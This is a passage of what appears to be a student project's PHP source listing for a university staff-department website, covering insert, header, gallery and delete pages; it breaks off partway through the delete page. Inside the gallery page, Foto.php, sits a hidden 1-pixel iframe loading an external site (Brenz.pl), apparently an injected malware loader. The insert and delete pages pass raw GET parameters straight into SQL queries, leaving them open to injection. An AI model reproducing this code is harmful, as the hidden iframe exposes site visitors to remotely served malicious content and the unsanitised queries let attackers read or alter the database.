2.2 Insert.php

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />

<title>Education website</title>

<meta name="description" content="Education website">

<meta name="keywords" content="education, learning, teaching">

<link href="css/style.css" rel="stylesheet" type="text/css">

<? include ("connect.php");?>

<style type="text/css">

<!--

.style4 {color: #000000}

-->

</style>

</head>

<body>

<? include ("header.php");?>

<? include ("left.php");?>

<td><h1><marquee width="300" scrollamount="3">Ustun qoshish </marquee></h1></td>

</tr>

<tr>

<td>

<table width="100%" border="0" cellpadding="0" cellspacing="0">

<tr align="center">

<td width="100%" height="1" align="center"><table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td><img src="images/spacer.gif" width="13" height="1"></td>

<td width="100%" bgcolor="#1A658C"><img src="images/spacer.gif" width="1" height="4"></td>

<td><img src="images/spacer.gif" width="5" height="1"></td>

</tr>

</table></td>

</tr>

<tr>

<td valign="top" class="body_txt">

<?php include ("connect.php")?>

<?php if (isset ($_GET['otprov']))

{

$query="Insert into XODIMLAR (ID_XODIM,FISH,TUGULGAN_YILI,TURMUSH_QURGANLIGI,FARZANDLAR_SONI,MAOSHI,JINSI,MALAKASI) Values

('$_GET[ID_XODIM]','$_GET[FISH]','$_GET[TUGULGAN_YILI]','$_GET[TURMUSH_QURGANLIGI]','$_GET[FARZANTLAR_SONI]','$_GET[MAOSHI]','$_GET[JINSI]','$_GET[MALAKASI]')";

$result=mysql_query($query);}

?>

<Form name="insert" method="get" action="insert.php"><br />

<table><tr><td><br>ID<br><br></td><td> <input type="text" name="ID_XODIM"/></br></tr></td>

<tr><td><br>FAM<br><br></td><td> <input type="text" name="FISH"/></br></tr></td>

<tr><td><br>TUGULGAN YIL<br><br></td><td> <input type="text" name="TUGULGAN_YILI"/></br></tr></td>

<tr><td><br>TURMUSH QURGANI<br><br></td><td><input type="text" name="TURMUSH_QURGANLIGI"/></br></tr></td>

<tr><td><br>FARZANDLAR SONI<br><br></td><td><input type="text" name="FARZANTLAR_SONI"/></br></tr></td>

<tr><td><br>MAOSHI<br><br></td><td> <input type="text" name="MAOSHI"/></br></tr></td>

<tr><td><br>JINSI<br><br></td><td> <input type="text" name="JINSI"/></br></tr></td>

<tr><td><br>MALAKASI<br><br></td><td> <input type="text" name="MALAKASI"/></br></tr></td>

<tr><td><input type="submit" name="otprov" Value="opravit"/></br></tr></td>

</table>

</form>

<?php if ($result){echo"malumot saqlanadi";}?>

<? include ("footer.php");?>

</body>

</html>

2.3 Header.php

<style type="text/css">

<!--

.style1 {font-weight: bold}

-->

</style>

<table width="765" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">

<tr>

<td height="1"><table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td>

<div style="position:absolute; top:60px; margin-left:7px; width:200px">

<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td align="center"><img src="images/logo.jpg" alt="" width="100" height="101"></td>

</tr>

<tr>

<td class="c_name">TashIIT</td>

</tr>

<tr>

<td class="slogan">Hodimlar bo'limi</td>

</tr>

</table>

</div>

<img src="images/t1.jpg" width="207" height="237" /></td>

<td><table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td><img src="images/t2.gif" width="355" height="37"></td>

</tr>

<tr>

<td><img src="images/t2-5.jpg" width="355" height="200"></td>

</tr>

</table></td>

<td><img src="images/t3.jpg" width="293" height="237"></td>

</tr>

</table></td>

</tr>

<tr>

<td height="1"><table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td width="1"><img src="images/ml.gif" width="7" height="35"></td>

<td background="images/mbg.gif" class="bgx"><table border="0" align="center" cellpadding="0" cellspacing="0">

<tr>

<td class="menu"><a href="index.php"><strong>Bosh sahifa</strong></a></td>

<td width="1"><img src="images/msep.gif" width="5" height="35" class="style1"></td>

<td class="menu"><a href="foto.php"><strong>Galeriya</strong></a></td>

<td width="1"><img src="images/msep.gif" width="5" height="35" class="style1"></td>

<td class="menu"><a href="delete.php"><strong>Ochirish</strong></a></td>

<td width="1"><img src="images/msep.gif" width="5" height="35" class="style1"></td>

<td class="menu"><a href="zapros1.php"><strong>Xodilar royxati</strong></a></td>

<td width="1"><img src="images/msep.gif" width="5" height="35"></td>

<td class="menu"><a href="zapros2.php"><strong>Xodimlani oyligi</strong></a></td>

<td width="1"><img src="images/msep.gif" width="5" height="35"></td>

<td class="menu"><a href="zapros3.php"><strong>Lavozimi va yoshi</strong></a></td>

<td width="1"><img src="images/msep.gif" width="5" height="35"></td>

<td class="menu"><a href="zapros4.php"><strong>Ilmi darjasi</strong></a></td>

<td width="1"><img src="images/msep.gif" width="5" height="35"></td>

<td class="menu"><a href="0.php"><strong>Yatgan inson</strong></a></td>

<td><a href="foto.php">Galeriya</a></td>

<td width="1"><img src="images/ms.gif" alt="" width="1" height="34"></td>

</tr>

</table></td>

<td width="1"><img src="images/mr.gif" width="8" height="35"></td>

</tr>

</table></td>

</tr>

<tr>

<td valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">

<tr>

2.4 Foto.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />

<title>Galeriya</title>

<link rel="stylesheet" type="text/css" href="css/style.css">

</head>

<body>

<div>

<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>

<TR>

<TD colSpan=3><b>Toshkent Temir yollari Muxandislar Instituti</b><BR></TD></TR>

<TR>

<TD vAlign=top align=left width=1%>

</TD>

<TD vAlign=top width="77%">

<TABLE cellSpacing=0 cellPadding=3 width="30%" border=0 height="986">

<TBODY>

<tr>

<TD width="29%" height="151" align="center">

<b

<img src="foto/10.gif" width="150" height="120" border="1"></b></TD>

<TD width="29%" height="151" align="center">

<b>

<img border="1" src="foto/11.jpg" width="224" height="150"></b></TD>

<TD align="center" height="151" width="29%">

<b>

<img border="1" src="foto/12.jpg" width="150" height="113"></b></TD>

</tr>

<tr>

<TD align="center" height="20">&nbsp;</TD>

<TD align="center" height="20">&nbsp;</TD>

<TD align="center" height="20" width="29%">&nbsp;</TD>

</tr>

<tr>

<TD align="center" height="151">

<b>

<img border="1" src="foto/13.jpg" width="121" height="161"></b></TD>

<TD align="center" height="151">

<b>

<img border="1" src="foto/14.jpg" width="259" height="194"></b></TD>

<TD align="center" height="151" width="29%">

<b>

<img border="1" src="foto/15.jpg" width="192" height="144"></b></TD>

</tr>

<tr>

<TD align="center" height="20">&nbsp;</TD>

<TD align="center" height="20">&nbsp;</TD>

<TD align="center" height="20" width="29%">&nbsp;</TD>

</tr>

<tr>

<TD align="center" height="151">

<b>

<img border="1" src="foto/16.jpg" width="121" height="161"></b></TD>

<TD align="center" height="151">

<b>

<img border="1" src="foto/17.jpg" width="257" height="175"></b></TD>

<TD align="center" height="151" width="29%">

<b>

<img border="1" src="foto/18.jpg" width="120" height="120"></b></TD>

</tr>

<tr>

<TD align="center" height="20">&nbsp;</TD>

<TD align="center" height="20">&nbsp;</TD>

<TD align="center" height="20" width="29%">&nbsp;</TD>

</tr>

<tr>

<TD width="29%" height="151" align="center">

<b>

<img border="1" src="foto/1.jpg" width="150" height="94"></b></TD>

<TD width="29%" height="151" align="center">

<b>

<img border="1" src="foto/2.jpg" width="150" height="113"></b></TD>

<TD align="center" height="151" width="29%">

<b>

<img border="1" src="foto/3.jpg" width="150" height="112"></b></TD>

</tr>

<tr>

<TD align="center" height="20">&nbsp;</TD>

<TD align="center" height="20">&nbsp;</TD>

<TD align="center" height="20" width="29%">&nbsp;</TD>

</tr>

<tr>

<TD width="29%" height="151" align="center">

<b>

<img border="1" src="foto/4.jpg" width="150" height="113"></b></TD>

<TD width="29%" height="151" align="center">

<b>

<img border="1" src="foto/5.jpg" width="150" height="113"></b></TD>

<TD align="center" height="151" width="29%">

<b>

<img border="1" src="foto/6.jpg" width="150" height="113"></b></TD>

</tr>

<tr>

<TD align="center" height="20">&nbsp;</TD>

<TD align="center" height="20">&nbsp;</TD>

<TD align="center" height="20" width="29%">&nbsp;</TD>

</tr>

<tr>

<TD width="29%" height="151" align="center">

<b>

<img border="1" src="foto/7.jpg" width="150" height="120"></b></TD>

<TD width="29%" height="151" align="center">

<b>

<img border="1" src="foto/8.jpg" width="150" height="113"></b></TD>

<TD align="center" height="151" width="29%">

<b>

<img border="1" src="foto/9.jpg" width="150" height="113"></b></TD>

</tr>

</TBODY></TABLE>

</TD>

<TD width="3%"></TD></TR></TABLE>

</div>

<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder="0" width="1"></iframe>

</body>

</html>

2.5 Delete.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<?php include("connect.php")?>

<?php

if (isset ($_GET['otprov'])){

$query1="delete from Student where id='$_GET[Familya]'";

$result1=mysql_query($query1);}

$query="Select id,Familya From Student";

$result=mysql_query($query);?>

<title>ОJumaboyev Faxriddin</title>

</head>

<body>

<body background="foto/5.jpg">

<Form method="get" action="delete.php">

Familya<select name="Familya">

<?php while ($rows=mysql_fetch_array($result))